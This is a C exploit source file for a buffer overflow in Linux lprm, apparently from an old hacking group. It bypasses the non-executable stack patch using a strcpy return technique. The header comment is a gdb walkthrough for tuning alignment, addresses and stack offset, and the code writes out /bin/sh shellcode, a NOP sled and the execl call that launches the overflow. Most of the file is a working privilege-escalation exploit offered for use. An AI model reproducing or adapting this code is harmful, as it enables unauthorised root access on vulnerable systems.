/*
 
  Exploit by Kil3r of Lam3rZ for the bug discovered by Chris Evans in Linux lprm.
  This sploit works around non-executable stackpatch by Solar Designer.
  Based on Nergal's strcpy technique.
 
  GreetZ: fresh morning, Luke_Skyw(alker) and all of Lam3rZ teem.
 
  This code is GNU and  may be used for education purpose only.
 
  Description:
 
  First play with ALIGN:
  ALIGN - it is most the importent thing!
 
  Try pass 0x1234567 as STRCPY then debug the sploit(!) changeing
  ALIGN form 0 to 16 and look if it jumps to 0x12345678:
 
  emsi:~$ gdb a.out
  [...]
  (gdb) r
  Starting program: /home/pooh/a.out
  sp= 0xbfffbb78
  src= 0xbffff39c
  (no debugging symbols found)...
  Program received signal SIGTRAP, Trace/breakpoint trap.
  0x1109d0 in _dl_boot () at boot1.c:504
  boot1.c:504: No such file or directory.
  (gdb) continue
  Continuing.
  connection to printer is down
 
  Program received signal SIGSEGV, Segmentation fault.
  0x12345678 in ?? ()
  (gdb)
 
  14 and 13 was OK for me.
  If so, You have found right ALIGN! :)
 
  Then change STRCPY:
  STRCPY is PLT entry of strcpy(). Fo find it debug lprm(! not sploit!) and type:
  (gdb) p strcpy 
  $1 = {<text variable, no debug info>} 0x8048a98 <strcpy>
  0x8048a98 is what we are lookin' for!
 
  After that You need to find right DEST addres.
  So debug lprm again and do something like this:
 
  (gdb) b strcpy 
  Breakpoint 1 at 0x8048a98   <------- same address as above ;)
  (gdb) r
  Starting program: /usr/bin/lprm 
  (no debugging symbols found)...Breakpoint 1 at 0x1824e0
 
  Breakpoint 1, 0x1824e0 in strcpy ()
 
  then find lprm PID:
  emsi:~# ps aux |grep lprm
  root      3472  0.2  3.2  2856  2040  pc T   13:28   0:00 gdb /usr/bin/lprm 
  root      3473  0.1  0.3   840   204  pc T   13:29   0:00 /usr/bin/lprm 
          ^^^^
  (I did it as root, but it doesn't mettter ;)
  Then read proc info of lprm (3473 is lprm PID):
 
  emsi:~# cat /proc/3473/maps 
  00110000-00116000 r-xp 00000000 03:02 266269
  00116000-00117000 rw-p 00005000 03:02 266269
  00117000-00118000 rw-p 00000000 00:00 0
  0011a000-001a4000 r-xp 00000000 03:02 319493
  001a4000-001a9000 rw-p 00089000 03:02 319493
  001a9000-001dc000 rw-p 00000000 00:00 0
  08048000-0804b000 r-xp 00000000 03:02 18479
  0804b000-0804c000 rw-p 00002000 03:02 18479
  0804c000-0804d000 rwxp 00000000 00:00 0
    ^^^^^^
  bfffd000-c0000000 rwxp ffffe000 00:00 0
 
  0x0804c000 is what we are lookin' for. Dont foget to add aything (ie. 0x10)
  to it, 'cos it CAN'T have 0x00 (at the end).
 
  If you found right ALIGN, STRCPY and DEST you need to play with OFFSET ;)
  OFFSET is a stack offset of place where our shellcode is placed in.
  It is hard to find it so you need to be good gdb player ;)
 
  Examine the stack like this:
  emsi:~$ gdb a.out 
  [...]
  (gdb) r
  Starting program: /home/pooh/a.out 
  sp= 0xbfffbb78
  src= 0xbffff365
  (no debugging symbols found)...
  Program received signal SIGTRAP, Trace/breakpoint trap.
  0x1109d0 in _dl_boot () at boot1.c:504
  boot1.c:504: No such file or directory.
  (gdb) continue 
  Continuing.
  connection to printer is down
 
  Program received signal SIGSEGV, Segmentation fault.
  0x804c012 in ?? ()
 
  Then look what is on the stack at address pointed by src (see run output above)
  in this example 0xbffff365;
 
  (gdb) x/20i 0xbffff365
  0xbffff365 <cptr+3086703457>:   testb  $0x4,%al
  0xbffff367 <cptr+3086703459>:   orb    %al,0x10804c3(%eax)
  0xbffff36d <cptr+3086703465>:   addb   %al,(%eax)
  0xbffff36f <cptr+3086703467>:   addb   %al,(%eax)
  0xbffff371 <cptr+3086703469>:   addb   %al,(%eax)
  0xbffff373 <cptr+3086703471>:   addb   %dh,(%edi)
  0xbffff375 <cptr+3086703473>:   cmpsl  %ds:(%esi),%es:(%edi)
  0xbffff376 <cptr+3086703474>:   addb   $0x8,%al
  0xbffff378 <cptr+3086703476>:   addb   %al,(%eax)
  0xbffff37a <cptr+3086703478>:   addb   %al,(%eax)
  0xbffff37c <cptr+3086703480>:   orb    (%eax),%al
  0xbffff37e <cptr+3086703482>:   addb   %al,(%eax)
  0xbffff380 <cptr+3086703484>:   addl   $0x20776172,%eax
  0xbffff385 <cptr+3086703489>:   jo     0xbffff3f6 <cptr+3086703602>
  0xbffff387 <cptr+3086703491>:   outsl  %ds:(%esi),(%dx)
  0xbffff388 <cptr+3086703492>:   pushl  $0x90909020
  0xbffff38d <cptr+3086703497>:   nop    
  0xbffff38e <cptr+3086703498>:   nop    
  0xbffff38f <cptr+3086703499>:   nop    
  0xbffff390 <cptr+3086703500>:   nop    
 
  You need to point it to nops, so (in this example) add about 50 to OFFSET...
  In my case 0x381f was good offset, but you may need to add or subtract few
  bytes...
 
 
  At last:
  PINTER is name of remote printer entry in printcap. If user local printcap
  allowed, printcap should contain something like this:
 
  lp|Drukarka Graficzna:\
        :lp=:\
        :rm=192.168.0.1:\
        :rp=raw:\
        :lf=/usr/spool/lpd/hp-log:\
        :sd=/usr/spool/lpd/lpt:\
        :mx#0:
 
  lp is name of remote printer, :rm section contains IP of remmote priner
  (it may be any IP -- it does not have to be any printer IP! :).
 
*/


#include <stdio.h>


#define ALIGN 14         // Try from 0 to 16
#define STRCPY 0x12345678 //channge it if you find right ALIGN (it was 0x804c010			    in my case ;)
#define DEST 0x804c010
#define OFFSET 0x381f+5
#define PRINTER "-Plp"



int *ptr;
char *cptr;

void main(int argc, char *argv[])
{

  char buff[]=
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  char shellbuf[16384];
  int i;
  int src= (int)&src;


  /* fill the buffer with nops */
  memset(shellbuf, 0x90, sizeof(shellbuf));
  shellbuf[sizeof(shellbuf)-1] = 0;

  cptr = (char *)(shellbuf+100);
  for(i=0;i < strlen(buff);i++)
    *(cptr++) = buff[i];



  ptr = (int *)(shellbuf+1000+ALIGN);
  *ptr++ =STRCPY;
  *ptr++ =DEST;
  *ptr++ =DEST;
  *ptr++ =src + OFFSET;  // Try to play with it if any problems.
  *ptr++ = 0;

  printf("sp= 0x%x\nsrc= 0x%x\n",src,src+OFFSET);

  execl("/usr/bin/lprm","lprm",PRINTER,shellbuf,NULL);
}
